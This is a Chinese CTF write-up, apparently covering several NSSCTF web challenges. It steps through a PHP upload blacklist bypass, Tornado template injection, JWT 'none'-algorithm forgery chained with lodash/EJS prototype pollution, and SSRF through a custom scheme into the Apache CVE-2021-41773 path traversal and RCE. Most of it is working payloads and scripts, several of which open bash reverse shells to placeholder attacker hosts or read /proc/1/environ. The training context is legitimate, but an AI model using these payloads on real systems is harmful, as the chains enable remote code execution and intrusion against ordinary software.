赞
踩
考点:
1.上传表单html的编写
2./. 绕过黑名单(在Linux系统下1.php.是一个合法的文件名,系统不会自动把最后的点去掉并把文件当成php文件执行,所以点绕过只在Windows下有用)
源代码:
- <?php
-
- function waf($filename){
- $black_list = array("ph", "htaccess", "ini");
- $ext = pathinfo($filename, PATHINFO_EXTENSION);
- foreach ($black_list as $value) {
- if (stristr($ext, $value)){
- return false;
- }
- }
- return true;
- }
-
- if(isset($_FILES['file'])){
- $filename = urldecode($_FILES['file']['name']);
- $content = file_get_contents($_FILES['file']['tmp_name']);
- if(waf($filename)){
- file_put_contents($filename, $content);
- } else {
- echo "Please re-upload";
- }
- } else{
- highlight_file(__FILE__);
- }

这里就是ban了 "ph", "htaccess", "ini" 然后通过post传文件
首先咱们直接创建一个表单
- <!DOCTYPE html>
- <html>
- <head>
- <title>File Upload Form</title>
- </head>
- <body>
- <h1>File Upload Form</h1>
- <form action="http://node5.anna.nssctf.cn:28526/" enctype="multipart/form-data" method="post" >
- <label for="file">Select a file:</label>
- <input type="file" name="file" id="file">
- <br>
- <input type="submit" value="Upload File">
- </form>
- </body>
- </html>
然后上传一个php文件 后缀改为.php/.(/.最好用url编码) 然后上传成功即可连shell或者rce
这里介绍另一种解法
- import requests
-
- url = 'http://node5.anna.nssctf.cn:28526/'
- file_content = "<?php phpinfo();?>'"
- file = {'file': ('1.php%2f.', file_content)}
- response = requests.post(url, files=file)
- print(response.text)
跑完访问1.php 搜索flag
签到提
payload:
curl https://www.nssctf.cn/flag
考点:tornado模板注入
不懂可以看这边文章
https://blog.csdn.net/miuzzx/article/details/123329244
直接给了源码
-
- import tornado.ioloop
- import tornado.web
- import os
-
- BASE_DIR = os.path.dirname(__file__)
-
- def waf(data):
- bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
- for c in bl:
- if c in data:
- return False
- for chunk in data.split():
- for c in chunk:
- if not (31 < ord(c) < 128):
- return False
- return True
-
- class IndexHandler(tornado.web.RequestHandler):
- def get(self):
- with open(__file__, 'r') as f:
- self.finish(f.read())
- def post(self):
- data = self.get_argument("ssti")
- if waf(data):
- with open('1.html', 'w') as f:
- f.write(f"""<html>
- <head></head>
- <body style="font-size: 30px;">{data}</body></html>
- """)
- f.flush()
- self.render('1.html')
- else:
- self.finish('no no no')
-
- if __name__ == "__main__":
- app = tornado.web.Application([
- (r"/", IndexHandler),
- ], compiled_template_cache=False)
- app.listen(827)
- tornado.ioloop.IOLoop.current().start()

可以看到源码过滤了'
, "
, __
, (
, )
, or
, and
, not
, {{
, }}
和flask模板一样,我们可以用{%
代替{{
为了避免出现括号、下划线等字符,我们可以不用引号直接就行模板继承从而达到任意文件读取的效果。
payload:(非预期:直接读取环境变量)
ssti={% include /proc/1/environ %}
方法二:命令执行
如果没有过滤,我们的payload:
{{eval('__import__("os").popen("bash -i >& /dev/tcp/vps-ip/port 0>&1").read()')}}
这里可以从上述文章得到一个需要稍加修改的payload
既然已经过滤了', ", __, (, ), or, and, not, {{, }},那我们就一步步来绕过过滤
先绕过过滤{{}},我们可以用{%。
{%autoescape None%}{%raw ...%}可以等同于{{ }},这个在官方文档中有写。
因为过滤的是双下划线__,所以这里我们用单下划线也可以,也就是可以利用_tt_utf8
剩下的就可以对_tt_utf8进行变量覆盖来进行绕过了
参考:
tornado解析post数据的问题 - myworldworld - 博客园 (cnblogs.com)
这里借用一下Boogipop师傅的payload:
POST:ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")
改下ip 和port就行
最终环境变量找到flag
NSSCTF{25e0188a-7033-4918-955d-45197512c05e}
打开是个登入页面 查看源码 有/source 访问/source
路由得到源代码
- const express = require('express');
- const bodyParser = require('body-parser');
- const lodash = require('lodash');
- const session = require('express-session');
- const randomize = require('randomatic');
- const jwt = require('jsonwebtoken')
- const crypto = require('crypto');
- const fs = require('fs');
-
- global.secrets = [];
-
- express()
- .use(bodyParser.urlencoded({extended: true}))
- .use(bodyParser.json())
- .use('/static', express.static('static'))
- .set('views', './views')
- .set('view engine', 'ejs')
- .use(session({
- name: 'session',
- secret: randomize('a', 16),
- resave: true,
- saveUninitialized: true
- }))
- .get('/', (req, res) => {
- if (req.session.data) {
- res.redirect('/home');
- } else {
- res.redirect('/login')
- }
- })
- .get('/source', (req, res) => {
- res.set('Content-Type', 'text/javascript;charset=utf-8');
- res.send(fs.readFileSync(__filename));
- })
- .all('/login', (req, res) => {
- if (req.method == "GET") {
- res.render('login.ejs', {msg: null});
- }
- if (req.method == "POST") {
- const {username, password, token} = req.body;
- const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
-
- if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
- return res.render('login.ejs', {msg: 'login error.'});
- }
- const secret = global.secrets[sid];
- const user = jwt.verify(token, secret, {algorithm: "HS256"});
- if (username === user.username && password === user.password) {
- req.session.data = {
- username: username,
- count: 0,
- }
- res.redirect('/home');
- } else {
- return res.render('login.ejs', {msg: 'login error.'});
- }
- }
- })
- .all('/register', (req, res) => {
- if (req.method == "GET") {
- res.render('register.ejs', {msg: null});
- }
- if (req.method == "POST") {
- const {username, password} = req.body;
- if (!username || username == 'nss') {
- return res.render('register.ejs', {msg: "Username existed."});
- }
- const secret = crypto.randomBytes(16).toString('hex');
- const secretid = global.secrets.length;
- global.secrets.push(secret);
- const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
- res.render('register.ejs', {msg: "Token: " + token});
- }
- })
- .all('/home', (req, res) => {
- if (!req.session.data) {
- return res.redirect('/login');
- }
- res.render('home.ejs', {
- username: req.session.data.username||'NSS',
- count: req.session.data.count||'0',
- msg: null
- })
- })
- .post('/update', (req, res) => {
- if(!req.session.data) {
- return res.redirect('/login');
- }
- if (req.session.data.username !== 'nss') {
- return res.render('home.ejs', {
- username: req.session.data.username||'NSS',
- count: req.session.data.count||'0',
- msg: 'U cant change uid'
- })
- }
- let data = req.session.data || {};
- req.session.data = lodash.merge(data, req.body);
- console.log(req.session.data.outputFunctionName);
- res.redirect('/home');
- })
- .listen(827, '0.0.0.0')

先利用register
路由注册一个账号
注册之后得到token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJhIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE2OTg0NjMyMzJ9.nfg3mfhSXwfyh-kySP3a7zXkBxQp_sR7-CQESEJvBqw
一眼 jwt 解码看看
查看源码,在/register
的路由源码中得知,题目中存在一个nss
的用户名
以及在以nss
登录后,于/update
路由中我们可以构造payload造成ejs模板引擎污染
。
req.session.data = lodash.merge(data, req.body);
中的merge函数是原型链污染高位函数
关键还是在login
路由的代码
- .all('/login', (req, res) => {
- if (req.method == "GET") {
- res.render('login.ejs', {msg: null});
- }
- if (req.method == "POST") {
- const {username, password, token} = req.body;
- const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
-
- if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
- return res.render('login.ejs', {msg: 'login error.'});
- }
- const secret = global.secrets[sid];
- const user = jwt.verify(token, secret, {algorithm: "HS256"});
- if (username === user.username && password === user.password) {
- req.session.data = {
- username: username,
- count: 0,
- }
- res.redirect('/home');
- } else {
- return res.render('login.ejs', {msg: 'login error.'});
- }
- }
- })

代码中的变量sid是JWT中的secretid,要求是不等于undefined,null等等。
验证用户名时使用了函数verify,verify()指定算法的正确方式应该是通过algorithms传入数组,而不是algorithm。
在algorithms为none的情况下,空签名且空秘钥是被允许的;如果指定了algorithms为具体的某个算法,则密钥是不能为空的。在JWT库中,如果没指定算法,则默认使用none。
所以我们的目标进一步是使得代码中JWT解密密钥secret为null或者undefined
代码中的密钥是变量secret是global.secrets[sid],只要我们使sid为空数组[],也就是JWT中的secretid为空数组[],我们就可以使得上面步骤得以实现,然后用空算法(none)伪造JWT
参考:从一道CTF题看Node.JS中的JWT库误用 - SecPulse.COM | 安全脉搏
那么我们伪造JWT的脚本如下:
- const jwt = require('jsonwebtoken');
- global.secrets = [];
- var user = {
- secretid: [],
- username: 'nss',
- password: '123456',
- "iat":1693372851
- }
- const secret = global.secrets[user.secretid];
- var token = jwt.sign(user, secret, {algorithm: 'none'});
- console.log(token);
生成
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE2OTM1NjE3NDR9.
登入nss
接下来就是原型链污染
了。这里是ejs模板引擎污染
,payload可以直接打
/update
路由下进行,这里记得修改一下Content-type
为application/json
,以让服务端接受json
请求
- {
- "__proto__":{
- "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/XXX/2333 0>&1\"');","compileDebug":true
- }
- }
修改一下xxx为你的攻击机ip 然后重新访问/home
来反弹shell
在环境变量找到flag
非预期
?url=file:///proc/1/environ
预期:
?url=file:///app/app.py
得到源码:
- from flask import Flask, request, redirect
- import requests, socket, struct
- from urllib import parse
- app = Flask(__name__)
-
- @app.route('/')
- def index():
- if not request.args.get('url'):
- return redirect('/?url=dosth')
- url = request.args.get('url')
- if url.startswith('file://'):
- if 'proc' in url or 'flag' in url:
- return 'no!'
- with open(url[7:], 'r') as f:
- data = f.read()
- if url[7:] == '/app/app.py':
- return data
- if 'NSSCTF' in data:
- return 'no!'
- return data
- elif url.startswith('http://localhost/'):
- return requests.get(url).text
- elif url.startswith('mybox://127.0.0.1:'):
- port, content = url[18:].split('/_', maxsplit=1)
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.settimeout(5)
- s.connect(('127.0.0.1', int(port)))
- s.send(parse.unquote(content).encode())
- res = b''
- while 1:
- data = s.recv(1024)
- if data:
- res += data
- else:
- break
- return res
- return ''
-
- app.run('0.0.0.0', 827)

- 代码使用Flask类定义了一个Flask Web应用程序。
- index()函数是应用程序的主要路由,当访问根URL(“/”)时会被调用。
- 如果URL中没有提供url查询参数,用户会被重定向到根URL,并附带默认值为"dosth"的url参数。
- 如果url参数以"file://“开头,代码会检查URL是否包含特定的关键词(“proc"或"flag”)。如果其中任何一个关键词存在,会返回"no!”。否则,它会读取在"file://"之后指定的文件的内容,并执行特定的操作:
- 如果文件路径为"/app/app.py",则返回该文件的内容。
- 如果文件内容包含"NSSCTF",则返回"no!"。
- 否则,返回文件的内容。
- 如果url参数以"http://localhost/"开头,代码会向指定的URL发出HTTP GET请求(假设该URL位于本地机器上),并返回响应的文本内容。
- 如果url参数以"mybox://127.0.0.1:"开头,代码会从URL中提取端口号和内容。然后,它会建立到"127.0.0.1"上指定端口的TCP套接字连接,并将URL解码后的内容以字节形式发送到套接字。它会接收以1024字节为单位的数据块,直到没有更多数据可接收为止,然后将接收到的数据作为响应返回。
和之前的就别就是不可以直接读取环境变量
这里可以看到一个比较明显的SSRF
利用点
- elif url.startswith('mybox://127.0.0.1:'):
- port, content = url[18:].split('/_', maxsplit=1)
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
利用gopher
协议来打
具体访问:
https://zhuanlan.zhihu.com/p/112055947
利用gopher
协议来打,脚本如下
- import urllib.parse
- test =\
- """GET /xxx.php HTTP/1.1
- Host: 127.0.0.1:80
- """
- #注意后面一定要有回车,回车结尾表示http请求结束
- tmp = urllib.parse.quote(test)
- new = tmp.replace('%0A','%0D%0A')
- result = 'gopher://127.0.0.1:80/'+'_'+new
- print(result)
得到
gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
但是代码修改过,我们需要利用mybox
进行交互而不是gopher
,修改一下
mybox://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
这里注意一下,是需要二次URL编码
的
mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A
Apache/2.4.49 (Unix)
,这个版本的Apache有一个路径穿越和RCE漏洞(CVE-2021-41773)
这里直接用gopher
协议去打这个漏洞,POST发包,执行命令来反弹shell
脚本如下
- import urllib.parse
- payload =\
- """POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
- Host: 127.0.0.1:80
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 58
- echo;bash -c 'bash -i >& /dev/tcp/ip/ports 0>&1' //填入攻击机ip端口
- """
- #注意后面一定要有回车,回车结尾表示http请求结束。
- tmp = urllib.parse.quote(payload)
- new = tmp.replace('%0A','%0D%0A')
- result = 'gopher://127.0.0.1:80/'+'_'+new
- result = urllib.parse.quote(result)
- print(result) # 这里因为是GET请求发包所以要进行两次url编码
得到:
gopher%3A//127.0.0.1%3A80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/ports%25200%253E%25261%2527%250D%250A
记得修改为mybox
mybox%3A//127.0.0.1%3A80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/ports%25200%253E%25261%2527%250D%250A
传参成功进行反弹shell 环境得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。